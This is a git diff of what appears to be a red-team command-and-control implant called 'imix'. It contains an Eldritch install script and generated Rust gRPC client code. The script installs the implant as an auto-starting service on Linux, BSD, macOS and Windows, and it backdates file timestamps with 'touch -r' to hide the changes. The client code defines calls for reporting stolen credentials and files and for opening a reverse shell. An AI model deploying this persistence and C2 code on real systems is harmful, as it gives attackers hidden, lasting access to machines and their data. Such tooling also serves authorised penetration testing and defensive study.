diff --git a/implants/imix/install_scripts/install_service/main.eldritch b/implants/imix/install_scripts/install_service/main.eldritch index 00e17b83d..8cc7d35f8 100644 --- a/implants/imix/install_scripts/install_service/main.eldritch +++ b/implants/imix/install_scripts/install_service/main.eldritch @@ -124,9 +124,11 @@ launch_daemon_template = """ Label {{ service_name }} + Program + {{ bin_path }} ProgramArguments - {{ bin_path }} + {{ bin_args }} KeepAlive @@ -204,6 +206,7 @@ status_cmd="${name}_status" run_rc_command "$1" """ + def is_using_systemd(): command_get_res = sys.shell("command -v systemctl") if command_get_res['status'] == 0 and file.is_file(command_get_res['stdout'].strip()): @@ -212,12 +215,14 @@ def is_using_systemd(): return True return False + def is_using_sysvinit(): command_get_res = sys.shell("command -v update-rc.d") if command_get_res['status'] == 0 and file.is_file(command_get_res['stdout'].strip()): return True return False + def is_using_bsdinit(): # Lol this is how ansible does it too :shrug: # https://github.com/ansible/ansible/blob/386edc666ec2a053b4d576fc4b2deeb46fe492b8/lib/ansible/module_utils/facts/system/service_mgr.py#L124 @@ -225,36 +230,40 @@ def is_using_bsdinit(): return True return False + def systemd(service_name, service_desc, executable_path, executable_args): # assets.copy("persist_service/files/systemd.service.j2","/tmp/systemd.service.j2") file.write("/tmp/systemd.service.j2", systemd_service_template) args = { - "SERVICE_NAME":service_name, - "SERVICE_DESC":service_desc, - "SERVICE_START_CMD":executable_path+" "+executable_args + "SERVICE_NAME": service_name, + "SERVICE_DESC": service_desc, + "SERVICE_START_CMD": executable_path+" "+executable_args } - file.template("/tmp/systemd.service.j2","/usr/lib/systemd/system/"+service_name+".service", args, False) + file.template("/tmp/systemd.service.j2", + "/usr/lib/systemd/system/"+service_name+".service", args, False) file.remove("/tmp/systemd.service.j2") # assets.copy("persist_service/files/payload.elf", executable_path) sys.shell("chmod +x "+executable_path) sys.shell(f"touch -r /bin/sh {executable_path}") - sys.shell(f"touch -r /bin/sh /usr/lib/systemd/system/{service_name}.service") + sys.shell( + f"touch -r /bin/sh /usr/lib/systemd/system/{service_name}.service") sys.shell("systemctl daemon-reload "+service_name) sys.shell("systemctl enable "+service_name) sys.shell("systemctl start "+service_name) print("systemd installed") + def sysvinit(service_name, service_desc, executable_path, executable_args): # assets.copy("persist_service/files/sysvinit.sh.j2","/tmp/svc.sh.j2") file.write("/tmp/svc.sh.j2", sysvinit_template) args = { - "SERVICE_NAME":service_name, - "SERVICE_DESC":service_desc, - "SERVICE_START_CMD":executable_path+" "+executable_args + "SERVICE_NAME": service_name, + "SERVICE_DESC": service_desc, + "SERVICE_START_CMD": executable_path+" "+executable_args } - file.template("/tmp/svc.sh.j2","/etc/init.d/"+service_name, args, False) + file.template("/tmp/svc.sh.j2", "/etc/init.d/"+service_name, args, False) file.remove("/tmp/svc.sh.j2") sys.shell("chmod +x "+"/etc/init.d/"+service_name) @@ -267,6 +276,7 @@ def sysvinit(service_name, service_desc, executable_path, executable_args): sys.shell("service "+service_name+" start") print("sysvinit installed") + def bsdinit(service_name, service_desc, executable_path, executable_args): startup_dir = "/usr/local/etc/rc.d/" if not file.is_dir(startup_dir): @@ -275,11 +285,12 @@ def bsdinit(service_name, service_desc, executable_path, executable_args): file.write("/tmp/svc.sh.j2", bsdinit_template) args = { - "service_name":service_name, - "service_desc":service_desc, - "service_start_cmd":executable_path+" "+executable_args + "service_name": service_name, + "service_desc": service_desc, + "service_start_cmd": executable_path+" "+executable_args } - file.template("/tmp/svc.sh.j2",startup_dir+service_name+".sh", args, False) + file.template("/tmp/svc.sh.j2", startup_dir + + service_name+".sh", args, False) file.remove("/tmp/svc.sh.j2") sys.shell("chmod +x "+startup_dir+service_name+".sh") @@ -288,14 +299,17 @@ def bsdinit(service_name, service_desc, executable_path, executable_args): print("bsdinit installed") + def launch_daemon(service_name, executable_path, executable_args): # assets.copy("persist_service/files/launch_daemon.plist.j2","/tmp/plist.j2") - file.write("/tmp/plist.j2",launch_daemon_template) + file.write("/tmp/plist.j2", launch_daemon_template) args = { - "service_name":"com.testing."+service_name, - "bin_path":executable_path+" "+executable_args + "service_name": "com.testing."+service_name, + "bin_path": executable_path, + "bin_args": executable_args } - file.template("/tmp/plist.j2","/Library/LaunchDaemons/"+service_name+".plist", args, False) + file.template("/tmp/plist.j2", "/Library/LaunchDaemons/" + + service_name+".plist", args, False) file.remove("/tmp/plist.j2") # assets.copy("persist_service/files/payload.macho", executable_path) @@ -303,8 +317,10 @@ def launch_daemon(service_name, executable_path, executable_args): sys.shell("launchctl load -w /Library/LaunchDaemons/"+service_name+".plist") print("Launch daemon installed") + def windows_service_manager(service_name, service_display_name, service_description, executable_path): - create_res = sys.shell("sc.exe create "+service_name+" binpath= "+executable_path+" displayname="+service_display_name+" start= auto type= own") + create_res = sys.shell("sc.exe create "+service_name+" binpath= "+executable_path + + " displayname="+service_display_name+" start= auto type= own") if 'ERROR' in create_res['stdout'] or create_res['stderr'] != "": print("Failed to create service:\n"+create_res+"\n") print("\n") @@ -323,9 +339,11 @@ def persist_service(service_name, service_desc, executable_name, executable_args executable_path = "/bin/"+executable_name file.copy(src_path, executable_path) if is_using_systemd(): - systemd(service_name, service_desc, executable_path, executable_args) + systemd(service_name, service_desc, + executable_path, executable_args) elif is_using_sysvinit(): - sysvinit(service_name, service_desc, executable_path, executable_args) + sysvinit(service_name, service_desc, + executable_path, executable_args) elif sys.is_macos(): executable_path = "/var/root/"+executable_name file.copy(src_path, executable_path) @@ -333,15 +351,18 @@ def persist_service(service_name, service_desc, executable_name, executable_args elif sys.is_windows(): executable_path = "C:\\ProgramData\\"+executable_name+".exe" file.copy(src_path, executable_path) - windows_service_manager(service_name, service_name, service_desc, executable_path) + windows_service_manager( + service_name, service_name, service_desc, executable_path) elif sys.get_os()['platform'] == "BSD": executable_path = "/bin/"+executable_name file.copy(src_path, executable_path) if is_using_bsdinit(): - bsdinit(service_name, service_desc, executable_path, executable_args) + bsdinit(service_name, service_desc, + executable_path, executable_args) else: print("OS not supported") + def parse_and_persist(config_data): if len(config_data['service_configs']) < 1: print("Please add a service_config to your imix config") @@ -354,6 +375,7 @@ def parse_and_persist(config_data): "", ) + """ This script uses the first provided services_configs to install a service On the local system. The config file specified for the install will be used @@ -363,8 +385,10 @@ it after running the install. ./imix install """ + + def main(): - config_data ={ + config_data = { "service_configs": [ { "name": "imix", @@ -377,4 +401,5 @@ def main(): parse_and_persist(config_data) print("Implant copied, you may now delete this binary.") + main() diff --git a/implants/lib/pb/src/generated/c2.rs b/implants/lib/pb/src/generated/c2.rs index f8535cec8..c388d9b63 100644 --- a/implants/lib/pb/src/generated/c2.rs +++ b/implants/lib/pb/src/generated/c2.rs @@ -37,7 +37,17 @@ pub struct Host { } /// Nested message and enum types in `Host`. pub mod host { - #[derive(Clone, Copy, Debug, PartialEq, Eq, Hash, PartialOrd, Ord, ::prost::Enumeration)] + #[derive( + Clone, + Copy, + Debug, + PartialEq, + Eq, + Hash, + PartialOrd, + Ord, + ::prost::Enumeration + )] #[repr(i32)] pub enum Platform { Unspecified = 0, @@ -208,7 +218,9 @@ impl ReverseShellMessageKind { /// (if the ProtoBuf definition does not change) and safe for programmatic use. pub fn as_str_name(&self) -> &'static str { match self { - ReverseShellMessageKind::Unspecified => "REVERSE_SHELL_MESSAGE_KIND_UNSPECIFIED", + ReverseShellMessageKind::Unspecified => { + "REVERSE_SHELL_MESSAGE_KIND_UNSPECIFIED" + } ReverseShellMessageKind::Data => "REVERSE_SHELL_MESSAGE_KIND_DATA", ReverseShellMessageKind::Ping => "REVERSE_SHELL_MESSAGE_KIND_PING", } @@ -226,8 +238,8 @@ impl ReverseShellMessageKind { /// Generated client implementations. pub mod c2_client { #![allow(unused_variables, dead_code, missing_docs, clippy::let_unit_value)] - use tonic::codegen::http::Uri; use tonic::codegen::*; + use tonic::codegen::http::Uri; #[derive(Debug, Clone)] pub struct C2Client { inner: tonic::client::Grpc, @@ -258,7 +270,10 @@ pub mod c2_client { let inner = tonic::client::Grpc::with_origin(inner, origin); Self { inner } } - pub fn with_interceptor(inner: T, interceptor: F) -> C2Client> + pub fn with_interceptor( + inner: T, + interceptor: F, + ) -> C2Client> where F: tonic::service::Interceptor, T::ResponseBody: Default, @@ -268,8 +283,9 @@ pub mod c2_client { >::ResponseBody, >, >, - >>::Error: - Into + Send + Sync, + , + >>::Error: Into + Send + Sync, { C2Client::new(InterceptedService::new(inner, interceptor)) } @@ -309,19 +325,23 @@ pub mod c2_client { pub async fn claim_tasks( &mut self, request: impl tonic::IntoRequest, - ) -> std::result::Result, tonic::Status> - { - self.inner.ready().await.map_err(|e| { - tonic::Status::new( - tonic::Code::Unknown, - format!("Service was not ready: {}", e.into()), - ) - })?; + ) -> std::result::Result< + tonic::Response, + tonic::Status, + > { + self.inner + .ready() + .await + .map_err(|e| { + tonic::Status::new( + tonic::Code::Unknown, + format!("Service was not ready: {}", e.into()), + ) + })?; let codec = tonic::codec::ProstCodec::default(); let path = http::uri::PathAndQuery::from_static("/c2.C2/ClaimTasks"); let mut req = request.into_request(); - req.extensions_mut() - .insert(GrpcMethod::new("c2.C2", "ClaimTasks")); + req.extensions_mut().insert(GrpcMethod::new("c2.C2", "ClaimTasks")); self.inner.unary(req, path, codec).await } /// @@ -339,17 +359,19 @@ pub mod c2_client { tonic::Response>, tonic::Status, > { - self.inner.ready().await.map_err(|e| { - tonic::Status::new( - tonic::Code::Unknown, - format!("Service was not ready: {}", e.into()), - ) - })?; + self.inner + .ready() + .await + .map_err(|e| { + tonic::Status::new( + tonic::Code::Unknown, + format!("Service was not ready: {}", e.into()), + ) + })?; let codec = tonic::codec::ProstCodec::default(); let path = http::uri::PathAndQuery::from_static("/c2.C2/FetchAsset"); let mut req = request.into_request(); - req.extensions_mut() - .insert(GrpcMethod::new("c2.C2", "FetchAsset")); + req.extensions_mut().insert(GrpcMethod::new("c2.C2", "FetchAsset")); self.inner.server_streaming(req, path, codec).await } /// @@ -357,19 +379,23 @@ pub mod c2_client { pub async fn report_credential( &mut self, request: impl tonic::IntoRequest, - ) -> std::result::Result, tonic::Status> - { - self.inner.ready().await.map_err(|e| { - tonic::Status::new( - tonic::Code::Unknown, - format!("Service was not ready: {}", e.into()), - ) - })?; + ) -> std::result::Result< + tonic::Response, + tonic::Status, + > { + self.inner + .ready() + .await + .map_err(|e| { + tonic::Status::new( + tonic::Code::Unknown, + format!("Service was not ready: {}", e.into()), + ) + })?; let codec = tonic::codec::ProstCodec::default(); let path = http::uri::PathAndQuery::from_static("/c2.C2/ReportCredential"); let mut req = request.into_request(); - req.extensions_mut() - .insert(GrpcMethod::new("c2.C2", "ReportCredential")); + req.extensions_mut().insert(GrpcMethod::new("c2.C2", "ReportCredential")); self.inner.unary(req, path, codec).await } /// @@ -377,25 +403,28 @@ pub mod c2_client { /// Providing content of the file is optional. If content is provided: /// - Hash will automatically be calculated and the provided hash will be ignored. /// - Size will automatically be calculated and the provided size will be ignored. - /// /// Content is provided as chunks, the size of which are up to the agent to define (based on memory constraints). /// Any existing files at the provided path for the host are replaced. pub async fn report_file( &mut self, request: impl tonic::IntoStreamingRequest, - ) -> std::result::Result, tonic::Status> - { - self.inner.ready().await.map_err(|e| { - tonic::Status::new( - tonic::Code::Unknown, - format!("Service was not ready: {}", e.into()), - ) - })?; + ) -> std::result::Result< + tonic::Response, + tonic::Status, + > { + self.inner + .ready() + .await + .map_err(|e| { + tonic::Status::new( + tonic::Code::Unknown, + format!("Service was not ready: {}", e.into()), + ) + })?; let codec = tonic::codec::ProstCodec::default(); let path = http::uri::PathAndQuery::from_static("/c2.C2/ReportFile"); let mut req = request.into_streaming_request(); - req.extensions_mut() - .insert(GrpcMethod::new("c2.C2", "ReportFile")); + req.extensions_mut().insert(GrpcMethod::new("c2.C2", "ReportFile")); self.inner.client_streaming(req, path, codec).await } /// @@ -404,19 +433,23 @@ pub mod c2_client { pub async fn report_process_list( &mut self, request: impl tonic::IntoRequest, - ) -> std::result::Result, tonic::Status> - { - self.inner.ready().await.map_err(|e| { - tonic::Status::new( - tonic::Code::Unknown, - format!("Service was not ready: {}", e.into()), - ) - })?; + ) -> std::result::Result< + tonic::Response, + tonic::Status, + > { + self.inner + .ready() + .await + .map_err(|e| { + tonic::Status::new( + tonic::Code::Unknown, + format!("Service was not ready: {}", e.into()), + ) + })?; let codec = tonic::codec::ProstCodec::default(); let path = http::uri::PathAndQuery::from_static("/c2.C2/ReportProcessList"); let mut req = request.into_request(); - req.extensions_mut() - .insert(GrpcMethod::new("c2.C2", "ReportProcessList")); + req.extensions_mut().insert(GrpcMethod::new("c2.C2", "ReportProcessList")); self.inner.unary(req, path, codec).await } /// @@ -424,41 +457,49 @@ pub mod c2_client { pub async fn report_task_output( &mut self, request: impl tonic::IntoRequest, - ) -> std::result::Result, tonic::Status> - { - self.inner.ready().await.map_err(|e| { - tonic::Status::new( - tonic::Code::Unknown, - format!("Service was not ready: {}", e.into()), - ) - })?; + ) -> std::result::Result< + tonic::Response, + tonic::Status, + > { + self.inner + .ready() + .await + .map_err(|e| { + tonic::Status::new( + tonic::Code::Unknown, + format!("Service was not ready: {}", e.into()), + ) + })?; let codec = tonic::codec::ProstCodec::default(); let path = http::uri::PathAndQuery::from_static("/c2.C2/ReportTaskOutput"); let mut req = request.into_request(); - req.extensions_mut() - .insert(GrpcMethod::new("c2.C2", "ReportTaskOutput")); + req.extensions_mut().insert(GrpcMethod::new("c2.C2", "ReportTaskOutput")); self.inner.unary(req, path, codec).await } /// /// Open a reverse shell bi-directional stream. pub async fn reverse_shell( &mut self, - request: impl tonic::IntoStreamingRequest, + request: impl tonic::IntoStreamingRequest< + Message = super::ReverseShellRequest, + >, ) -> std::result::Result< tonic::Response>, tonic::Status, > { - self.inner.ready().await.map_err(|e| { - tonic::Status::new( - tonic::Code::Unknown, - format!("Service was not ready: {}", e.into()), - ) - })?; + self.inner + .ready() + .await + .map_err(|e| { + tonic::Status::new( + tonic::Code::Unknown, + format!("Service was not ready: {}", e.into()), + ) + })?; let codec = tonic::codec::ProstCodec::default(); let path = http::uri::PathAndQuery::from_static("/c2.C2/ReverseShell"); let mut req = request.into_streaming_request(); - req.extensions_mut() - .insert(GrpcMethod::new("c2.C2", "ReverseShell")); + req.extensions_mut().insert(GrpcMethod::new("c2.C2", "ReverseShell")); self.inner.streaming(req, path, codec).await } }